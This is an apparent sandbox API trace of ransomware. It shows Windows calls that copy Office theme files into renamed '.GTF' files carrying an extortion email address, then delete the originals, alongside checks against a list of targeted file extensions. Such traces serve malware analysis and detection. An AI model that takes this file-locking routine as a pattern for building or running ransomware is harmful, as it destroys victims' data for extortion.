	[0165.195] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xbaf0, lpOverlapped=0x0) returned 1
	[0165.196] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.196] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0165.196] SetEndOfFile (hFile=0x504) returned 1
	[0165.197] CloseHandle (hObject=0x504) returned 1
	[0165.197] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.197] SetEndOfFile (hFile=0x54c) returned 1
	[0165.201] CloseHandle (hObject=0x54c) returned 1
	[0165.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.202] lstrlenW (lpString=".doc") returned 4
	[0165.202] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString=".docx") returned 5
	[0165.202] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.202] lstrlenW (lpString=".pdf") returned 4
	[0165.202] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString=".xls") returned 4
	[0165.202] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString=".xlsx") returned 5
	[0165.202] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.202] lstrlenW (lpString=".ppt") returned 4
	[0165.202] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.202] lstrlenW (lpString=".zip") returned 4
	[0165.202] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString=".rar") returned 4
	[0165.202] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString=".bz2") returned 4
	[0165.202] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString=".7z") returned 3
	[0165.202] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.202] lstrlenW (lpString=".dbf") returned 4
	[0165.202] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.202] lstrlenW (lpString=".1cd") returned 4
	[0165.202] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.202] lstrlenW (lpString=".jpg") returned 4
	[0165.203] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.203] lstrlenW (lpString=".doc") returned 4
	[0165.203] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString=".docx") returned 5
	[0165.203] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0165.203] lstrlenW (lpString=".pdf") returned 4
	[0165.203] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString=".xls") returned 4
	[0165.203] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString=".xlsx") returned 5
	[0165.203] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0165.203] lstrlenW (lpString=".ppt") returned 4
	[0165.203] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.203] lstrlenW (lpString=".zip") returned 4
	[0165.203] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString=".rar") returned 4
	[0165.203] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString=".bz2") returned 4
	[0165.203] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString=".7z") returned 3
	[0165.203] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.203] lstrlenW (lpString=".dbf") returned 4
	[0165.203] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.203] lstrlenW (lpString=".1cd") returned 4
	[0165.203] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0165.203] lstrlenW (lpString=".jpg") returned 4
	[0165.203] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0165.204] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.204] lstrlenW (lpString="Extreme Shadow.eftx") returned 19
	[0165.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.205] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=340217) returned 1
	[0165.205] CloseHandle (hObject=0x54c) returned 1
	[0165.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220
	[0165.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.205] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.205] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0165.210] GetLastError () returned 0x0
	[0165.210] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x530f9, lpOverlapped=0x0) returned 1
	[0165.958] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x53100, lpOverlapped=0x0) returned 1
	[0165.964] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.964] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0165.964] SetEndOfFile (hFile=0x504) returned 1
	[0166.180] CloseHandle (hObject=0x504) returned 1
	[0166.180] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.180] SetEndOfFile (hFile=0x54c) returned 1
	[0166.188] CloseHandle (hObject=0x54c) returned 1
	[0166.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1
	[0166.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.189] lstrlenW (lpString=".doc") returned 4
	[0166.189] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.189] lstrlenW (lpString=".docx") returned 5
	[0166.189] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.189] lstrlenW (lpString=".pdf") returned 4
	[0166.189] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.189] lstrlenW (lpString=".xls") returned 4
	[0166.190] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString=".xlsx") returned 5
	[0166.190] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.190] lstrlenW (lpString=".ppt") returned 4
	[0166.190] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.190] lstrlenW (lpString=".zip") returned 4
	[0166.190] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString=".rar") returned 4
	[0166.190] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString=".bz2") returned 4
	[0166.190] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString=".7z") returned 3
	[0166.190] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.190] lstrlenW (lpString=".dbf") returned 4
	[0166.190] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.190] lstrlenW (lpString=".1cd") returned 4
	[0166.190] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.190] lstrlenW (lpString=".jpg") returned 4
	[0166.190] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.190] lstrlenW (lpString=".doc") returned 4
	[0166.190] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString=".docx") returned 5
	[0166.191] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.191] lstrlenW (lpString=".pdf") returned 4
	[0166.191] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString=".xls") returned 4
	[0166.191] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString=".xlsx") returned 5
	[0166.191] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.191] lstrlenW (lpString=".ppt") returned 4
	[0166.191] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.191] lstrlenW (lpString=".zip") returned 4
	[0166.191] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString=".rar") returned 4
	[0166.191] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString=".bz2") returned 4
	[0166.191] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString=".7z") returned 3
	[0166.191] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.191] lstrlenW (lpString=".dbf") returned 4
	[0166.191] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.191] lstrlenW (lpString=".1cd") returned 4
	[0166.191] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0166.191] lstrlenW (lpString=".jpg") returned 4
	[0166.191] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.191] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0166.191] lstrlenW (lpString="Reflection.eftx") returned 15
	[0166.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.192] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=48366) returned 1
	[0166.192] CloseHandle (hObject=0x54c) returned 1
	[0166.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220
	[0166.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.193] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.193] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0166.194] GetLastError () returned 0x0
	[0166.194] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xbcee, lpOverlapped=0x0) returned 1
	[0166.196] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xbcf0, lpOverlapped=0x0) returned 1
	[0166.198] ReadFile (in: hFile=0x54c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.198] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0166.198] SetEndOfFile (hFile=0x504) returned 1
	[0166.198] CloseHandle (hObject=0x504) returned 1
	[0166.198] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.198] SetEndOfFile (hFile=0x54c) returned 1
	[0166.202] CloseHandle (hObject=0x54c) returned 1
	[0166.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1
	[0166.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.202] lstrlenW (lpString=".doc") returned 4
	[0166.203] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".docx") returned 5
	[0166.203] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.203] lstrlenW (lpString=".pdf") returned 4
	[0166.203] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".xls") returned 4
	[0166.203] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".xlsx") returned 5
	[0166.203] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.203] lstrlenW (lpString=".ppt") returned 4
	[0166.203] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.203] lstrlenW (lpString=".zip") returned 4
	[0166.203] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".rar") returned 4
	[0166.203] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".bz2") returned 4
	[0166.203] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".7z") returned 3
	[0166.203] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.203] lstrlenW (lpString=".dbf") returned 4
	[0166.203] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.203] lstrlenW (lpString=".1cd") returned 4
	[0166.203] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.203] lstrlenW (lpString=".jpg") returned 4
	[0166.203] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.203] lstrlenW (lpString=".doc") returned 4
	[0166.203] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.203] lstrlenW (lpString=".docx") returned 5
	[0166.203] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.204] lstrlenW (lpString=".pdf") returned 4
	[0166.204] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString=".xls") returned 4
	[0166.204] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString=".xlsx") returned 5
	[0166.204] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.204] lstrlenW (lpString=".ppt") returned 4
	[0166.204] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.204] lstrlenW (lpString=".zip") returned 4
	[0166.204] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString=".rar") returned 4
	[0166.204] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString=".bz2") returned 4
	[0166.204] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString=".7z") returned 3
	[0166.204] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.204] lstrlenW (lpString=".dbf") returned 4
	[0166.204] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.204] lstrlenW (lpString=".1cd") returned 4
	[0166.204] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0166.204] lstrlenW (lpString=".jpg") returned 4
	[0166.204] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.204] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0166.204] lstrlenW (lpString="Riblet.eftx") returned 11
	[0166.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.205] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=295074) returned 1
	[0166.205] CloseHandle (hObject=0x54c) returned 1
	[0166.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220
	[0166.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0166.206] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.206] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
